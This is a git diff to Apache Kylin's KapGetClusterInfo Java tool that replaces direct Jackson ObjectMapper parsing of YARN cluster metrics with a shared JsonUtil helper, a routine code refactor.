index ceefb75c8d..cde148e0c3 100644
--- a/src/tool/src/main/java/org/apache/kylin/tool/setup/KapGetClusterInfo.java
+++ b/src/tool/src/main/java/org/apache/kylin/tool/setup/KapGetClusterInfo.java
@@ -33,6 +33,7 @@ import org.apache.kylin.cluster.SchedulerInfoCmdHelper;
import org.apache.kylin.common.KylinConfig;
import org.apache.kylin.common.util.BufferedLogger;
import org.apache.kylin.common.util.HadoopUtil;
+import org.apache.kylin.common.util.JsonUtil;
import org.apache.kylin.common.util.ShellException;
import org.apache.kylin.common.util.StringHelper;
import org.apache.kylin.common.util.Unsafe;
@@ -41,7 +42,6 @@ import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
import lombok.val;
@@ -121,7 +121,7 @@ public class KapGetClusterInfo {
throw new IllegalStateException(
"Cannot get yarn metrics with url: " +
yarnMasterUrlBase + YARN_METRICS_SUFFIX);
}
- clusterMetrics = new
ObjectMapper().readTree(response).path("clusterMetrics");
+ clusterMetrics =
JsonUtil.readValueAsTreeDefault(response).path("clusterMetrics");
} catch (Exception e) {
logger.warn("Attempt 1 failed to get clusterMetrics from cluster
via curl command.", e);
}
@@ -132,7 +132,7 @@ public class KapGetClusterInfo {
}
// attempt 2
try {
- clusterMetrics = new
ObjectMapper().readTree(SchedulerInfoCmdHelper.metricsInfo()).path("clusterMetrics");
+ clusterMetrics =
JsonUtil.readValueAsTreeDefault(SchedulerInfoCmdHelper.metricsInfo()).path("clusterMetrics");
} catch (IOException | RuntimeException exception) {
logger.warn("Attempt 2 failed to get clusterMetrics from cluster
via SchedulerInfoCmdHelper.", exception);
}
